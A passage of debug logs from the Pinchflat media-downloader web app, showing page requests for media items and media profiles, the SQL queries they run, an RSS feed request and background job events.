m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:32:46.276 [info] Sent 200 in 19ms 08:32:46.283 [info] Sent 200 in 25ms 08:32:46.455 [info] GET /sources/1/media/89339/edit 08:32:46.455 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89339", "source_id" => "1"} Pipelines: [:browser] 08:32:46.456 [debug] QUERY OK source="media_items" db=0.3ms idle=183.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89339] 08:32:46.457 [debug] QUERY OK source="settings" db=0.2ms idle=183.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:46.457 [debug] QUERY OK source="settings" db=0.2ms idle=184.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:46.458 [debug] QUERY OK source="settings" db=0.3ms idle=184.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:46.460 [info] Sent 200 in 5ms 08:32:56.704 [info] GET /sources/1/media/89336/edit 08:32:56.705 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89336", "source_id" => "1"} Pipelines: [:browser] 08:32:56.706 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1022.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89336] 08:32:56.707 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1023.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:56.707 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1023.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:56.708 [debug] QUERY OK source="settings" db=0.2ms idle=1025.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:56.710 [info] Sent 200 in 5ms 08:32:56.884 [info] GET /sources/1/media/89347 08:32:56.884 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89347", "source_id" => "1"} Pipelines: [:browser] 08:32:56.885 [debug] QUERY OK source="media_items" db=0.3ms idle=728.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89347] 08:32:56.886 [debug] QUERY OK source="tasks" db=0.3ms idle=180.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89347] 08:32:56.886 [debug] QUERY OK source="sources" db=0.3ms idle=179.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:32:56.887 [debug] QUERY OK source="settings" db=0.2ms idle=179.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:56.887 [debug] QUERY OK source="settings" db=0.3ms idle=178.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:56.888 [debug] QUERY OK source="settings" db=0.3ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:56.890 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:32:56.893 [info] Sent 200 in 9ms 08:32:57.385 [info] GET /sources/1/media/89349/edit 08:32:57.385 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89349", "source_id" => "1"} Pipelines: [:browser] 08:32:57.386 [debug] QUERY OK source="media_items" db=0.3ms idle=498.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89349] 08:32:57.387 [debug] QUERY OK source="settings" db=0.2ms idle=498.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:57.387 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=498.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:57.388 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=498.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:32:57.390 [info] Sent 200 in 5ms 08:33:00.610 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:33:08.855 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:38.857 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:59.709 [info] GET /sources/e3d05701-3307-4dd4-bb03-9020d5a29064/feed.xml 08:33:59.709 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "e3d05701-3307-4dd4-bb03-9020d5a29064"} Pipelines: [:maybe_basic_auth] 08:33:59.710 [debug] QUERY OK source="sources" db=0.4ms idle=1026.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["e3d05701-3307-4dd4-bb03-9020d5a29064"] 08:33:59.714 [debug] QUERY OK source="media_items" db=3.4ms idle=1027.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 08:33:59.727 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1043.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 08:33:59.727 [debug] QUERY OK source="media_metadata" db=0.3ms idle=1044.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [89339] 08:33:59.728 [info] Sent 200 in 19ms 08:33:59.957 [info] GET /sources/1/media/89338/edit 08:33:59.957 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89338", "source_id" => "1"} Pipelines: [:browser] 08:33:59.958 [debug] QUERY OK source="media_items" db=0.3ms idle=673.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89338] 08:33:59.959 [debug] QUERY OK source="settings" db=0.2ms idle=248.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:59.959 [debug] QUERY OK source="settings" db=0.1ms idle=245.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:59.960 [debug] QUERY OK source="settings" db=0.3ms idle=233.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:33:59.962 [info] Sent 200 in 5ms 08:34:00.456 [info] GET /sources/1/media/89347/edit 08:34:00.456 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "89347", "source_id" => "1"} Pipelines: [:browser] 08:34:00.457 [debug] QUERY OK source="media_items" db=0.4ms idle=498.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89347] 08:34:00.458 [debug] QUERY OK source="settings" db=0.2ms idle=498.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:00.458 [debug] QUERY OK source="settings" db=0.2ms idle=498.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:00.459 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=498.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:00.461 [info] Sent 200 in 5ms 08:34:00.611 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:34:06.670 [info] GET /media_profiles/1 08:34:06.670 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"delete_files" => "true", "id" => "1"} Pipelines: [:browser] 08:34:06.670 [info] GET /media_profiles/2/edit 08:34:06.671 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 08:34:06.672 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=988.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:34:06.672 [debug] QUERY OK source="media_profiles" db=0.3ms idle=988.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 08:34:06.673 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=989.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 08:34:06.673 [debug] QUERY OK source="settings" db=0.5ms idle=989.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:06.674 [debug] QUERY OK source="settings" db=0.3ms idle=375.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:06.674 [debug] QUERY OK source="settings" db=0.3ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:06.675 [debug] QUERY OK source="settings" db=0.5ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:06.675 [debug] QUERY OK source="settings" db=0.6ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:06.676 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:06.679 [info] Sent 200 in 8ms 08:34:06.679 [info] Sent 200 in 8ms 08:34:06.845 [info] GET /media_profiles/1/edit 08:34:06.845 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 08:34:06.846 [debug] QUERY OK source="media_profiles" db=0.3ms idle=172.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:34:06.847 [debug] QUERY OK source="settings" db=0.2ms idle=172.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:06.848 [debug] QUERY OK source="settings" db=0.3ms idle=172.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:06.848 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=173.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:06.852 [info] Sent 200 in 6ms 08:34:08.859 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:10.875 [info] GET /media_profiles/new 08:34:10.875 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{"template_id" => "1"} Pipelines: [:browser] 08:34:10.876 [debug] QUERY OK source="media_profiles" db=0.3ms idle=567.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:34:10.877 [debug] QUERY OK source="settings" db=0.2ms idle=193.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:10.878 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=194.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:10.878 [debug] QUERY OK source="settings" db=0.3ms idle=194.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:10.879 [debug] QUERY OK source="settings" db=0.3ms idle=195.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:10.880 [debug] QUERY OK source="settings" db=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:10.883 [info] Sent 200 in 7ms 08:34:11.186 [info] GET /media_profiles/2 08:34:11.186 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"delete_files" => "true", "id" => "2"} Pipelines: [:browser] 08:34:11.187 [debug] QUERY OK source="media_profiles" db=0.4ms idle=310.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 08:34:11.188 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=310.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 08:34:11.189 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=310.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:34:11.189 [debug] QUERY OK source="settings" db=0.2ms idle=309.9ms SELECT s0."id", 